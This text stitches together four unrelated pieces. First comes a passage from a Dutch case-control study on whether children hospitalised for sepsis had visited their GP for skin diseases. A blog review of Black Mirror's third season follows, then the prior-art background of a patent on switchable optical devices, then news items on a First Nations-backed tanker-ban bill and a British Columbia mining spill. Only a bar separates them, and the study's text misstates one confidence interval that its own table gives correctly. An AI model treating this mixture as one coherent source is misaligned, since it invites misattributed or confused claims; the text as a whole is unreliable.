A Dutch study performed in children aged 0--14 years reported that 28% of those with skin diseases consulted the general practitioner (GP) \[[@B16]\]. Hence, for this reason, we hypothesize that children who were admitted to hospital due to sepsis or bacteraemia suffered more often from skin diseases, especially skin infections, and therefore visited their GP for this reason more often prior to their admission compared to their controls. If our hypothesis is true and given the fact that skin diseases account for 23% of the total morbidity in children in general practice \[[@B17]\], the GP may be able to reduce the risk of sepsis or bacteraemia by recognizing skin diseases in time and treating them adequately.
To test this hypothesis we performed a case-control study, aiming to answer the following research question:
\- Did children who were admitted to a hospital for sepsis or bacteraemia visit their GP more often for skin diseases before their admission, compared to matched controls?
Methods
=======
We used data of the second Dutch National Survey of general practice performed by NIVEL (Netherlands Institute for Health Services Research) in 2001 and data of the LMR (National Medical Registration in the Netherlands).
Second Dutch National Survey
----------------------------
In the Netherlands, general practices have a fixed list size and all inhabitants are listed with a general practice, and GPs have a gate-keeping role. Usually, the first contact with health care, in a broad sense, is the contact with the general practitioner. This survey included a representative sample of the Dutch population. Data about all physician-patient contacts, prescriptions and referrals during 12 months in 2001 were extracted from electronic medical records of all listed patients of 104 practices (195 GPs) \[[@B18]\]. All diagnoses were coded using the International Classification of Primary Care (ICPC) \[[@B19]\]. Different health problems within one consultation were recorded separately. Socio-demographic characteristics such as age, gender, region and urbanization level of all patients listed to the participating GPs were derived from the GP\'s computerized patient file. The degree of urbanization was derived from the general practice\'s postal code and categorized into four classes \'under 30,000 inhabitants\', \'30,000--50,000 inhabitants\', \'over 50,000 inhabitants\' and \'the three large Dutch cities Amsterdam, Rotterdam and The Hague\'. The Netherlands were divided into a Northern, Central and Southern region. Childrens\' socioeconomic status (SES) and ethnic origin were obtained by a questionnaire filled out by parents or by the children themselves if they were older than 12 years (response rate 76%). SES was based on the father\'s occupation, which was categorized into five classes \"non-manual work high (class I)\", \"non-manual work middle (class II)\", \"non-manual low and farmers (class III)\", \"manual work high/middle (class IV)\" and \"manual work low (class V)\". Ethnicity was derived from the country of birth of either parent. If either parent was born in Turkey, Africa, Asia (except Japan and Indonesia) and Central or South America, their children were considered to be children of non-Western origin (in accordance with the classification of Statistics Netherlands). All other children were defined as Western. Eight practices were excluded from analysis because of insufficient quality of data registration.
LMR (National Medical Registration in the Netherlands)
------------------------------------------------------
This continuous registration contains information about hospital admissions, diagnostic and therapeutic interventions of all hospitals in the Netherlands. All diagnoses were coded using the International Classification of Diseases 9^th^revision (ICD-9) \[[@B20]\]. Previous research revealed that about 87% of the patients referred by the GP to a specialist can be linked to a record of the hospital register \[[@B21]\].
Cases and controls
------------------
Cases were defined as being diagnosed with sepsis or bacteraemia at discharge. The corresponding ICD-9 codes for sepsis and bacteraemia are listed in a separate table \[see [Additional file 1](#S1){ref-type="supplementary-material"}\]. Cases were only selected when their admission date was at least 14 days after the start and before the end of the one-year registration period of the survey in general practice. If cases had more than one admission within a week concerning the same health problem only the first admission was selected. We excluded all children who were primarily admitted to a hospital for skin diseases (N = 29), but assessed GP consultations of these children 14 days prior to their hospital admission.
We selected two control groups by matching each case with six controls. Cases and controls were matched on age group (table [1](#T1){ref-type="table"}), gender and region. The first control group was randomly selected from the GP patient lists irrespective of hospital admission and GP consultation, the so called GP controls. The second control group was composed by drawing a random sample from those children who were admitted to a hospital for other reasons than sepsis or bacteraemia, the so called hospital controls. This second control group was added because we can not rule out that some of our severely ill cases bypassed the general practitioner prior to their hospital admission which might lead to an under-estimation of contacts with the GP in this group.
######
Baseline characteristics in percentages of cases and controls
Cases (N = 101) GP Controls^1^(N = 597) Hospital Controls^2^(N = 583)
------------------------------ ----------------- ------------------------- -------------------------------
**Age group**
0 -- 3 months 8.9 7.7 9.3
3 -- 6 months 6.9 6.9 5.8
6 -- 24 months 27.7 30.2 28.3
24 -- 72 months 27.7 26.8 26.8
6 -- 17 years 28.7 28.5 29.8
**Gender**
Boys 63.4 63.7 64.3
Girls 36.6 36.3 35.7
**Urbanization**
\< 30,000 36.6 38.0 36.4
30,000 -- 50,000 18.8 15.9 17.5
\> 50,000 37.6 39.2 36.9
Big cities^3^ 6.9 6.9 9.3
**Region**
Northern 19.8 20.1 18.0
Central 61.4 60.8 62.4
Southern 18.8 19.1 19.6
**SES**^**4**^
Non-manual high 34.1 37.4 38.8
Non-manual middle 31.8 31.3 35.6
Non-manual low & farmers 15.9 13.5 5.0
Manual high/middle 2.3 7.5 9.6
Manual low 15.9 10.3 11.0
**Ethnicity**
Natives & Western immigrants 85.7 89.8 87.2
Non -- Western immigrants 14.3 10.2 12.8
1 = control group randomly sampled from the general practitioners\' (GP) patient lists irrespective of hospital admission and GP consultation
2 = control group randomly sampled from those children who were hospitalized for other reasons than sepsis or bacteraemia
3 = Amsterdam, Rotterdam, The Hague
4 = according to fathers occupation
Ethical approval
----------------
The study was carried out according to Dutch legislation on privacy. The privacy regulation of the study was approved by the Dutch Data Protection Authority. According to Dutch legislation, obtaining informed consent is not obligatory for observational studies.
Data-analysis
-------------
We analyzed data of all children aged 0--17 years and assessed whether a higher proportion of cases visited the GP with any disease, especially skin disease as listed in the S-chapter of the ICPC \[see [Additional file 2](#S2){ref-type="supplementary-material"}\], within 14 days prior to their admission than controls (GP controls and hospital controls). We calculated odds ratios for the presence of GP consultations for all diseases, skin diseases and other diseases than skin diseases (cases/controls) and 95% confidence intervals (CI) using a conditional logistic regression model. We performed the same analysis for skin diseases within 30 days prior to the hospital admission of the cases. We repeated the latter analysis in a more strictly defined group (N = 44) of cases suffering from sepsis or severe bacteraemia and their matched controls. These cases were explicitly defined as being admitted to hospital due to sepsis, meningitis, acute osteomyelitis, acute pyelonefritis, acute mastoiditis, infectious arthritis or pneumonia. A two-sided p-value less than 0.05 was considered significant in all tests.
Results
=======
Study population
----------------
The total general practice population included 88,307 children aged 0--17 years. We found 101 cases that could be matched with 597 GP controls and 583 hospital controls. Table [1](#T1){ref-type="table"} shows the baseline characteristics of cases and both control groups. Cases were comparable to their controls regarding socio-demographic characteristics.
GP consultations
----------------
Sixty eight cases (67%) consulted the GP 161 times within 14 days prior to their hospital admission; five cases (5%) consulted the GP for a skin disease. Among the GP controls 67 consultations were made by 53 (9%) children within 14 days prior to the admission of the case they were linked to; nine controls (1.5%) consulted the GP for a skin disease. In the same period 255 (43.7%) children among the hospital controls consulted their GP 477 times; of these children 20 (3.4%) presented a skin disease. Table [2](#T2){ref-type="table"} shows which skin diseases were presented to the GP by cases and controls.
######
GP consultation for skin diseases within 14 days prior to hospital admission of cases
Diagnoses ICPC^1^ Cases (N = 101) GP Controls^2^(N = 597) Hospital Controls^3^(N = 583)
------------------------------- --------- ----------------- ------------------------- -------------------------------
Pruritis **S02** 0 1 0
Rash localized **S06** 0 0 1
Skin infection post-traumatic **S11** 0 0 1
Insect bite/sting **S12** 0 1 0
Burn/scald **S14** 0 3 1
Bruise/contusion **S16** 0 0 1
Laceration/cut **S18** 0 0 1
Dermatophytosis **S74** 1 0 1
Moniliasis/candidiasis skin **S75** 1 2 4
Naevus/mole **S82** 0 0 1
Impetigo **S84** 0 1 2
Dermatitis seborrhoeic **S86** 0 0 2
Dermatitis/atopic eczema **S87** 2 2 4
Dermatitis contact/allergic **S88** 0 0 2
Diaper rash **S89** 0 0 2
Sebaceous cyst **S93** 1 0 0
Molluscum contagiosum **S95** 0 1 0
Urticaria **S98** 0 0 1
1 = International Classification of Primary Care
2 = control group randomly selected from the general practitioners\' (GP) patient lists irrespective of hospital admission and GP consultation
3 = control group randomly sampled from those children who were hospitalized for other reasons than sepsis or bacteraemia
Children who were primarily admitted to hospital for a skin disease (N = 29) and excluded from analysis had the following diagnosis at discharge: skin abscesses, cellulitis, erysipelas, impetigo, infected finger/toe, paronychia and local skin infections. Of these children 14 (48%) consulted the GP 28 times within 14 days prior to their hospital admission. Eight children (28%) consulted the GP for a skin disease.
Strengths of relationships
--------------------------
Table [3A](#T3){ref-type="table"} shows the odds ratios (cases/controls) for whether or not a GP was consulted stratified for skin diseases and other diseases than skin diseases within 14 days prior to the hospital admission of the cases for children aged 0--17 years. Compared to their controls, more cases consulted the GP. The odds ratio for skin diseases (cases/GP controls) was 3.4 (95% CI: \[1.1--10.8\], p = 0.03) and 1.4 (95% CI: \[0.5--3.9\], p = 0.44) for cases versus hospital controls.
######
A: GP consultations of children aged 0--17 years admitted for bacterial infections and matched controls: odds ratios, 95% confidence intervals and p-values B: GP consultations of children \< 3 months admitted for bacterial infections and matched controls: odds ratios, 95% confidence intervals and p-values C: GP consultations of children aged 3 months to 17 years admitted for bacterial infections and matched controls: odds ratios, 95% confidence intervals and p-values
---------------------------------------------------------------------------------------------------------
**(A)**
-------------------------------- ------------------------------------- ----------------------------------
Diagnoses according to ICPC^1^ Cases (N = 101)\ Cases (N = 101)\
vs\ vs\
GP controls (N = 597) Hospital controls (N = 583)
**Skin diseases (S01 -- S99)** OR^2^3.4 \[1.1--10.8\], p = 0.03 OR 1.4 \[0.5--3.9\], p = 0.44
**Other diseases** OR 33.0 \[16.4--66.7\], p \< 0.0001 OR 2.8 \[1.8--4.5\], p \< 0.0001
**All diseases** OR 25.9 \[13.6--49.4\], p \< 0.0001 OR 2.7 \[1.7--4.2\], p \< 0.0001
**(B)**
Diagnoses according to ICPC^1^ Cases (N = 9)\ Cases (N = 9)\
vs\ vs\
GP controls (N = 46) Hospital controls (N = 54)
**Skin diseases (S01 -- S99)** OR^2^9.2 \[0.81--106.1\], p = 0.07 OR 4.0 \[0.67--23.9\], p = 0.12
**Other diseases** OR 19.2 \[2.2--164.0\], p = 0.007 OR 5.8 \[1.13--30.3\], p = 0.03
**All diseases** OR 15.3 \[1.8--130.1\], p = 0.012 OR 5.9 \[1.13--30.3\], p = 0.03
**(C)**
Diagnoses according to ICPC^1^ Cases (N = 92)\ Cases (N = 92)\
vs\ vs\
GP controls (N = 551) Hospital controls (N = 529)
**Skin diseases (S01 -- S99)** OR^2^2.5 \[0.7--9.9\], p = 0.17 OR 1.0 \[0.3--3.5\], p = 0.98
**Other diseases** OR 34.8 \[16.6--73.2\], p \< 0.0001 OR 2.6 \[1.6--4.2\], p \< 0.0001
**All diseases** OR 27.2 \[13.7--53.2\], p \< 0.0001 OR 2.4 \[1.5--4.0\], p = 0.002
---------------------------------------------------------------------------------------------------------
1 = International Classification of Primary Care
2 = Odds ratio
Table [3B](#T3){ref-type="table"} and [3C](#T3){ref-type="table"} show the odds ratios of skin diseases and other diseases for children younger than three months and for children aged three months to17 years respectively. Cases younger than three months showed an odds ratio (cases/GP controls) of 9.2 (95% CI: \[08.1--106.1\], p = 0.07). In this age group the odds ratio (cases/hospital controls) was 4.0 (95% CI: \[0.67--23.9\], p = 0.12). In all age groups significantly more cases consulted the GP for other diseases than skin diseases 14 days prior to their hospital admission compared to matched controls.
Repeated analysis of consultations for skin diseases within 30 days prior to the hospital admission of the cases showed similar results, as did repetition of the analysis restricted to the most severe cases (N = 44) and their controls.
Discussion
==========
We tested the null hypothesis that there is no difference between children admitted for sepsis or bacteraemia and other children as to consulting a GP for skin diseases in a period of 14 days before admission to hospital. We found that there is an association between skin diseases presented to the GP and subsequent hospitalization for sepsis or bacteraemia among GP controls but not for hospital controls.
We performed the same analysis in cases and controls younger than three months and found an even stronger relationship, though not significant. This lack of significance is probably due to the small number of cases in this age group.
From a clinical point of view the difference between cases and controls may not be very relevant. The probability that a case consulted the GP for skin diseases prior to their hospital admission is only about 5% and therefore not a point of departure for GPs to reduce the risk of sepsis and/or bacteraemia considerably by diagnosing and treating skin diseases appropriately. However, considering cases younger than 3 months (N = 9) about 22% consulted the GP for skin diseases prior to their hospital admission which means that GPs may have possibilities in this age group to reduce the risk of sepsis and/or bacteraemia considerably by diagnosing and treating skin diseases appropriately. We recommend replication of our study in a larger dataset for this age group.
Compared with both control groups our cases visited the GP about two times as high with both infectious skin diseases and atopic skin diseases as well, which could support the association between sepsis or bacteremia and infectious and atopic skin diseases \[[@B1],[@B2],[@B9],[@B12],[@B14]\].
In all age groups we found odds ratios concerning GP consultations for other diseases than skin diseases that are considerably high and significantly different (p \< 0.0001) compared to the odds ratios for skin diseases. This finding indicates that there is a very strong association between GP consultations for other diseases than skin diseases, 14 days prior to hospital admission, and being hospitalized for sepsis or bacteraemia.
These two large and representative datasets enabled us to assess accurately odds ratios among cases and their matched controls and to test our hypothesis. By matching our cases and controls on age, gender and region we adjusted for differences concerning these variables and also for other socio-demographic characteristics (table [1](#T1){ref-type="table"}). To limit the seasonal variation of the GP consultations we selected only the consultations that took place within 14 days prior to the admission date of the case to whom the controls were linked to.
Overall the odds ratio for a GP consultation concerning skin diseases among cases versus GP controls 14 days prior to the admission of the cases is higher compared to the odds ratio among cases versus hospital controls. Our findings are in accordance with an earlier finding by Infante-Rivard \[[@B22]\] that inferences of severe childhood diseases using hospital controls in comparison with population controls resulted in odds ratios closer to the null value.
Conclusion
==========
There is evidence that children who were admitted due to sepsis or bacteraemia consulted the GP more often for skin diseases prior to their admission, than other children, but the differences are not clinically relevant which means that there is little opportunity for GPs to reduce the risk of sepsis and/or bacteraemia considerably by diagnosing and treating skin diseases appropriately.
Competing interests
===================
The author(s) declare that they have no competing interests.
Authors\' contributions
=======================
RSAM and JCvdW designed the study. RSAM and SPW carried out the analyses, RSAM drafted the paper. All authors commented on draft versions and approved the final manuscript.
Pre-publication history
=======================
The pre-publication history for this paper can be accessed here:
<http://www.biomedcentral.com/1471-2296/7/52/prepub>
Supplementary Material
======================
###### Additional File 1
ICD-9 codes used for selection of sepsis and bacteraemia cases. discharge diagnoses related to sepsis or bacteraemia according to ICD-9 classification, used for selecting cases.
######
Click here for file
###### Additional File 2
Chapter S (skin diseases) of the International Classification of Primary Care (ICPC). tabulation of all codes in chapter S (skin diseases) of the International Classification of Primary Care (ICPC).
######
Click here for file
Acknowledgements
================
The authors thank all participating GPs and their staff members for providing data.
Funding: The Dutch ministry of Health, Welfare and Sports mainly funded the surveys directly or indirectly. In addition, the \"Stichting Centraal Fonds RVVZ\" contributed financially to the second Dutch National Survey. The analysis reported in this paper was made possible through internal funding of the department of General Practice, Erasmus MC-University Medical Center Rotterdam.
|
Josh Reviews Netflix’s Season Three of Black Mirror!
I adored the original six episodes made of the British TV show Black Mirror. Series creator Charlie Brooker had made a riveting modern/day Twilight Zone, with each episode a completely stand-alone installment presenting a look at the ways that technology has the potential to be terribly destructive to our lives. Those first six episodes, made between 2011-13, are brilliant, and if you haven’t yet seen them I implore you to drop everything and go check them out — they are available to stream on Netflix.
I was very excited when I read that Netflix would be resurrecting the show, allowing Mr. Brooker to create six new episodes. I took my time watching the new episodes, both because I didn’t want them to be over too quickly and also because these episodes are very intense and I couldn’t handle too many too quickly! But now I have completed the new season and am eager to share my thoughts.
While there is nothing here in season three that equals the best of the original six episodes, I enjoyed most of these new episodes very much. Mr. Brooker has brought in some talented people to help create this new season, and it’s interesting to see the resulting slightly-different spins on the show. (Though, rest assured, these new episodes all thoroughly feel like Black Mirror.) None of these new episodes reach the genius level that so many of the original six episodes did, and a few are weakened by some flaws I’d have preferred to have seen corrected along the way. But all six episodes are interesting and have a lot to enjoy. While this third season might just be “very good” rather than “genius,” that is still something for us to be thankful for. I am very glad that six more episodes of Black Mirror now exist! (With the possibility of more on the way!)
Here is my episode-by-episode rundown. I’ll avoid major SPOILERS but, still, I highly advise stopping here if you haven’t yet seen these episodes.
Nosedive — the new season gets off to a somewhat shaky start with this first installment. “Nosedive” has a brilliant, terrifying-in-its-possibility premise, but it suffers somewhat in execution. In the not-too-distant future, everyone can use their cell-phones to rate their interactions with every person they meet, and those scores accumulate into a person’s average score that is constantly visible (because of special contact lenses that everyone wears) whenever you see anyone else. Bryce Dallas Howard is spectacular as a young woman, Lacie, trying to nudge up her personal score. As the story unfolds it becomes clear that these scores classify each individual into a certain social class. (The story is instigated because Lacie wants to live in a new housing development only affordable to individuals with a certain social score, and as the episode continues we see the dark side to what happens to anyone who drops below a certain score.) It’s horrifying how plausible this scenario is. This is a classic Black Mirror premise, in terms of how short a distance there is from our world to the one depicted in this episode, and it’s nightmarish to contemplate this ever becoming our reality. The problem with the episode is that its basic idea is clear after the first few minutes (and in case you had any doubts what was going to happen to Lacie, the episode is calked “Nosedive” so you know exactly where this story is going), but the episode runs over an hour in length. So it becomes excruciating after a while as we watch Lacie’s life get worse and worse and worse. There’s no twist in the episode’s second half, we’re just watching the slow collapse of Lacie’s carefully-constructed life. By the end, when she’s literally rolling around in dirt and mud, I was rolling my eyes. I think the episode would have been stronger with a much tighter runtime. Still, this is a classic Black Mirror premise and a very interesting way to start to the new season. Nice work by talented Black Mirror newbies Rashida Jones and Mike Schur (the Parks and Recreation showrunner) and director Joe Wright (Pride and Prejudice, Atonement, Hanna), and I enjoyed the appearances of supporting cast-members Alice Eve and Cherry Jones.
Playtest — In contrast to the first episode, this second installment (skillfully directed by 10 Cloverfield Lane‘s Dan Trachtenberg) was riveting from start to finish, and I genuinely had no idea where the story was going. A broke young man, Cooper, takes a job testing out a project for a video-game company and finds himself trapped in a horrifying virtual reality scenario. Wyatt Russell is a young actor who I don’t recall ever seeing on-screen before (and apparently he used to be a hockey player!), but he’s terrific in lead role as Cooper. (Wunmi Mosaku is also lovely as the voice in Cooper’s ear for most of the episode.). This one was great until the final few minutes. I didn’t care overmuch for the series of fake-out “is this real or is this fantasy” endings. That was clever ten or twenty years ago, when Star Trek did it in episodes like TNG’s “Future Imperfect” or even the Doctor-focused episode of Voyager, “Projections”. But at this point it felt overplayed and cliche to me, and this narrative trickery diluted the impact of the final ending that showed what actually happened to Cooper.
Shut Up And Dance —In this episode, an internet hacker (or group of hackers? We never find out) blackmails a number of every-day people into doing his/her/their bidding. For most of the episode we follow Kenny, a teenage boy who made the unfortunate decision to masturbate to internet porn on his hacked laptop. The hacker filmed him using his own laptop’s camera, and sends Kenny an email threatening to send the video to every one of his contacts if he doesn’t do as ordered. With no apparent choice but to follow those instructions, Kenny begins following a series of tasks that at first seem just bizarre but eventually escalate to something much more serious. Along the way, he meets up with Hector ( Jerome Flynn, who plays Bronn on Game of Thrones!), another unfortunate soul being blackmailed by the mysterious on-line entity (or entities). This is a gripping installment as you watch poor Kenny get sucked further and further down the blackmail rabbit hole, hoping he’ll find a way out of his situation but knowing he probably won’t. I though this episode was pretty spectacular until the twist ending. STOP NOW FOR SPOILERS!! Still here? OK, at the very end we discover that Kenny is far from the innocent boy we thought he was. That shock was effective and horrifying but, to me, it totally diluted the point of the episode. I’d thought this was a story about how so many people have online secrets they’d like to protect — emails they don’t want others to see, browsing history they don’t want exposed, etc. — and the dangers that can lead to, how easily someone’s life could get turned upside down if someone got access to those things they’d prefer be kept private. For most of this episode as we watch Kenny go through this ordeal it seems that this could happen to almost anyone. But when you learn that Kenny really did have this coming, suddenly I was left unsure of the point of this whole episode. That everyone is horrible??
San Junipero — In the 1980’s, we follow the gentle story of the flowering relationship between Yorkie (The Martian‘s Mackenzie Davis), a tentative young woman first taking ownership of her being a lesbian, and Kelly (Gugu Mbatha-Raw), a friendly and outgoing bisexual party girl. This is a gorgeous story, one that strikes an unusually sweet tone for Black Mirror and even — shockers!! — has a (mostly) happy ending!! I loved this episode, written by series creator and showrunner Charlie Brooker. This is a beautiful episode, and a wonderful example of how expansive Black Mirror’s anthology structure can be. I was not expecting an episode like this, and so I was delighted by the surprise. Both Ms. Davis and Ms. Mbatha-Raw are wonderful, endearing and with a depth of character that you discover as the episode unfolds. I loved the charisma between the two, and the gentle way we watch their relationship blossom while also peeling back the onion of their individual back-stories. I’d like to write a whole separate blog piece just analyzing the ending of this episode. At first blush it seems happy, but is the idea of these two people being together for all eternity really happy? Could that eventually become nightmarish? Not to mention the religious implications of a human-created afterlife… “San Junipero” was a highlight of this new season.
Men Against Fire — in the not too distant future, we follow Stripe (Malachi Kirby, who recently starred as Kunta Kinte in the remake of Roots), a rookie soldier fighting monsters called Roaches somewhere in what looks like Europe. After Stripe gets his first kill, something appears to start going wrong with the implant that all the soldiers have, through which they get military directives, targeting assistance, and apparently even implanted dreams. Is his breakdown a technological problem, or a psychological breakdown? It’s actually something else entirely, and I adored the twist ending. This episode has a powerful message about the ease with which we dehumanize our enemies. Like “Nosedive” and “Shut Up and Dance”, this feels horrifyingly possible in the very near future. The episode’s weakness is that, while the ultimate twist is great, the episode up to that point is a bit flat. I like Mr. Kirby’s work in the lead role and he’s a capable audience-surrogate character, but once Stripe gets zapped by that mysterious object held by one of the Roaches, you pretty much know how things are going to go.
Hated in the Nation — the season concludes with this extended episode. Clocking in at almost an hour and a half long, this sort of feels like a Black Mirror movie. Kelly Macdonald (No Country For Old Men, Brave, Boardwalk Empire) stars as Karin Parke, a homicide detective tasked with investigating the death of journalist Jo Powers. Powers had been the subject of a social media outcry in response to an article she’d written. Was she murdered? Or did her internet humiliation drive her to take her own life? Parke’s investigation is complicated when, the next day, another individual facing a social media firestorm — in this case, the rapper “Tusk” — is also murdered. Parke and her new partner Blue (Faye Marsay, who played “the Waif” on Game of Thrones), along with National Crime Agency officer Shaun Li (Benedict Wong, from The Martian and Doctor Strange) soon discover that the Twitter hashtag #DeathTo is being used to allow anonymous social media users across the UK to vote on who will die at the end of each day. Much of “Hated in the Nation” unfolds like a Black Mirror version of a police procedural, as we follow Parke and her team through their investigation, as the widening horror of what they have discovered unfolds. There are some magnificently tense sequences in this episode, particularly the assault on the safehouse in which Parke, Blue, and Shaun Li attempt to safeguard marked-victim number three. While the episode does feature a typically gruesome Black Mirror finish, I was surprised that the very end gave us a glimpse of hope — the second ray-of-light ending that this season gave us! The great Kelly Macdonald carries this episode on her shoulders, as we discover this story through her character’s eyes. This isn’t the most groundbreaking episode of Black Mirror ever made, but it’s a strong, enjoyable finish to the season.
I’m delighted that Netflix chose to resurrect Black Mirror, and very happy that Charlie Brooker was able to give us these six new terrifying stories. This is innovative television at its best, with remarkable talent assembled in front of and behind the camera. I am hoping this is not the end of Black Mirror! |
1. Technical Field
The present invention relates to an electrically switchable optical device operating in transmission for manipulating an incident light wave or light waves passing through the device. The invention also relates to a method for forming electrically switchable optical devices for forming such an optical switching device.
2. Discussion of Related Art
Optical signals in different forms are today increasingly utilized in many different types of devices and applications. In order to take full advantage of systems including optical signals or beams, it must be possible to direct the optical signal or beam coming in on a guided optical conduit, or on some other type of optical system in a desired electrically controlled manner to another optical conduit or to another optical system. The aforementioned optical conduit can be, for example, an optical fiber or other type of optical waveguide. There exists a wide variety of optical systems, which work under fast changing operational conditions, and thus require capability to perform optical functions in an efficient and electrically controlled manner.
Especially the recent rapid development of optical telecommunication and optical data processing systems creates increasing needs for versatile electrically switchable optical devices.
In addition to the act of simply switching the optical signal/beam on or off, the term “optical switching” above and hereinbelow also refers to more complex optical functions, i.e. transformations of the optical signal/beam and/or its path. These include, for example, dividing, redirecting or modulating the amplitude or phase of the optical signal/beam in a desired manner.
In the following, some prior art solutions for electrically controlled optical switching are shortly discussed. However, methods which are based on first converting optical signals into electrical signals for switching and then reconverting said electrical signals back into optical signals for outputting are not included in the following discussion as they are not relevant to the present invention.
A conventional method for electrically controlled optical switching is to mechanically move the optical components, for example mirrors, beamsplitters or beam attenuators in order to affect the propagation of the optical signal/beam. Said mechanical movements can be realized using various kinds of electrical actuators. However, such optical components together with the required electrical actuators cannot be easily made very compact in size and they are also rather difficult and expensive to manufacture, especially as mass-produced articles.
Silicon-surfacemicromachining is a recent technology for fabricating miniature or microscopic devices. This technology has also been used for manufacturing optical microelectromechanical systems (optical MEMS).
U.S. Pat. No. 5,867,297 discloses an oscillatory optical MEMS device including a micromirror for deflecting light in a predetermined manner. Small physical sizes and masses of these micromachined silicon “machine parts” make them more robust and capable of faster operation than conventional macroscopic mechanical devices.
Grating Light Valve™ devices by Silicon Light Machines, USA represent another type of optical MEMS devices. U.S. Pat. No. 5,311,360 discloses a light modulator structure, which consists of parallel rows of reflective ribbons. Alternative rows of ribbons can be pulled down by electrostatic attraction forces a distance corresponding to approximately one-quarter wavelength to create an electrically controlled grating like structure, which can be used to diffractively modulate the incident light wave. The electrical switching of the ribbons can be realized by integrating bottom electrodes below the ribbons, and by applying different voltages to the ribbons and said bottom electrodes to create the required electrostatic forces. U.S. Pat. No. 6,130,770 discloses another type of solution, where instead of using physical electrical connections to charge the predetermined ribbons of the light modulator structure, selected ribbons are electrically charged with an electron gun.
In principle, silicon optical MEMS technology uses processing steps derived from the integrated circuit (IC) fabrication techniques of photolithography, material deposition and chemical etching to produce the movable mechanical structures on a silicon chip. The aforementioned manufacturing process is, however, fairly difficult and thus expensive. Further, the optical MEMS devices operate mainly only in reflection and thus the capabilities of such devices of more complex transformations of the optical signal/beam and/or its path are limited. Material fatigue may also become significant in certain applications.
Birefringence, also known as double refraction, is a property which can be found in some transparent materials, for example in crystals. Such optical materials have two different indices of refraction in different directions. This can be used to create Pockels effect, an electro-optical effect in which the application of an electric field produces a birefringence which is proportional to the electric field applied to the material. The Pockels effect is well known in the art and it is commonly used to create, for example, fast optical shutters. However, because the use of birefringence requires use of polarized light, this severely limits its use as a general method in realizing optical switching devices.
U.S. Pat. No. 5,937,115 describes switchable optical component structures based on a holographic polymer dispersed liquid crystal. These are electronically controlled Bragg grating structures which allow to electronically switch on and off the diffractive effect of the transparent grating structures, which have been optically recorded or otherwise generated in the material. These electronically switchable Bragg grating (ESBG) devices can be used for various filtering or lensing applications. The major drawback of the ESBG technology is the complex manufacturing process required. Environmental concerns and hazards generally related to liquid crystal materials apply also to the ESBG devices.
U.S. Pat. No. 4,626,920 discloses a semiconductor device, which has an array of spaced charge storage electrodes on semiconductor material (Si) and an elastomer layer disposed on said electrodes. At least one conductive and light reflective layer is disposed over the elastomer layer. When voltages are applied between the charge storage electrodes and the conductive layer, this causes the deformation of the conductive/reflective layer and the elastomer layer from a flat surface to a form having a sinusoidally cyclically varying cross-section. Thus, the reflective front surface of the conductive layer can be utilized as an electrically switchable reflective grating.
GB patent 2,237,443 describes another light modulating device, where a reflective elastomer or viscoelastic layer is utilized for light modulation. In this arrangement an electron gun (cathode ray tube) is used instead of direct electrical connections/electrodes (cf. U.S. Pat. No. 4,626,920) to generate the electrical pattern needed to deform the elastomer layer.
An important aspect in the above described type of systems (U.S. Pat. No. 4,626,920 and GB 2,237,443) is the operation of the conductive/reflective layer or layers which is/are mounted on the deformable elastomer layer. Said conductive/reflective layer or layers must reliably and repeatably provide precise patterns of deformations which correspond to the charge pattern modifying the elastomer layer. This, together with the fact that said devices operate only in reflection, limits the use of such devices due to the limited selection of suitable conductive and reflective materials as well as due to the overall response characteristics (sensitivity to the applied voltages/charges, temporal response characteristics) of the device.
Yury P. Guscho “Physics of Reliofography” (Nauka, 1992, 520 p. in Russian) describes in chapter 7 a number of light modulator structures, in which a transparent viscoelastic layer is electrically deformed to manipulate the light passing through said viscoelastic layer. These devices can be taken to present the closest prior art with respect to the current invention, and they are therefore shortly described below with reference to the appended FIGS. 1a and 1b.
FIGS. 1a and 1b correspond to FIG. 7.1 in chapter 7 of “Physics of Reliofography” and show the two basic schemes of the light modulator structures.
In the first scheme in FIG. 1a, the driving signal (U) for deforming the viscoelastic layer G is applied from the free side of the viscoelastic layer G using driving electrodes ES1, which electrodes ES1 are formed on the lower surface of a top glass substrate SM1. A gap is left between the free surface of the viscoelastic layer G and the lower surface of the top glass substrate SM1, allowing the viscoelastic layer G to deform without contacting the opposite structure. The aforementioned gap can be for example air, gas or vacuum. The electric field deforming the viscoelastic layer G is generated between the driving electrodes ES1 and the conductive substrate electrode ES2.
In the second scheme in FIG. 1b, the viscoelastic layer G is disposed on the driving electrode structure ES1, which in turn is formed on a glass substrate SM1. The electric field deforming the viscoelastic layer G is generated by applying alternating voltages to the neighbouring electrode zones in the driving electrode structure ES1.
In both of the aforementioned schemes, the free surface of the viscoelastic layer G can be coated with a conductive reflecting layer (sputtered metal film).
According to our best understanding, all the light modulator structures presented in the chapter 7 of “Physics of Reliofography” and discussed shortly above are based on the basic idea of deforming the viscoelastic layer into a surface structure having a substantially sinusoidally varying cross-section. This allows to use the viscoelastic layer as an electrically controlled sinusoidal grating in order to modulate the incident light wave. |
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(Vancouver, Sept. 23, 2014) – The Coastal First Nations supports a federal NDP [New Democratic Party] bill aimed at putting in place a law that would prohibit supertankers from on the North Coast.
Skeena-Bulkley Valley NDP MP Nathan Cullen introduced a private members bill, An Act to Defend the Pacific Northwest, that would also give communities a stronger voice in pipeline reviews and consider impacts of projects on jobs.
Executive Director Art Sterritt said for too long the concerns of our people and the majority of British Columbians have been ignored. “The bill addresses some of our major concerns with Enbridge’s Northern Gateway Pipeline.”
The pipeline review process with First Nations has been lacking. “This bill will ensure that our voices and concerns are heard.”
Sterritt said the bill will allow for more sustainable and long-term jobs. “We have spent more than a decade developing a sustainable economy.”
The Coastal First Nations are an alliance of First Nations that includes the Wuikinuxv Nation, Heiltsuk, Kitasoo/Xaixais, Nuxalk, Gitga’at, Haisla, Metlakatla, Old Massett, Skidegate, and Council of the Haida Nation working together to create a sustainable economy on British Columbia’s North and Central Coast and Haida Gwaii.
Native Americans, environmentalists, and fed-up citizens unite to keep corporations from turning the region into a fossil fuel corridor
On August 4, a dam holding back mining wastewater burst open in Likely, B.C., gushing roughly 6,604,301,309 gallons of toxic waste into the nearby lakes—a spill 78 percent larger than initial estimates. Only a month after the incident, Imperial Metals, the corporation responsible, declared the water safe to drink again.
“One of my friends caught a salmon alive and kicking there last week,” Sundance Chief Rueben George from the Tsleil-Waututh Nation said to a packed Seattle crowd at the Daybreak Star Indian Cultural Center on Sunday. “But when my friend picked it up, the fish’s skin slid off in his hands.”
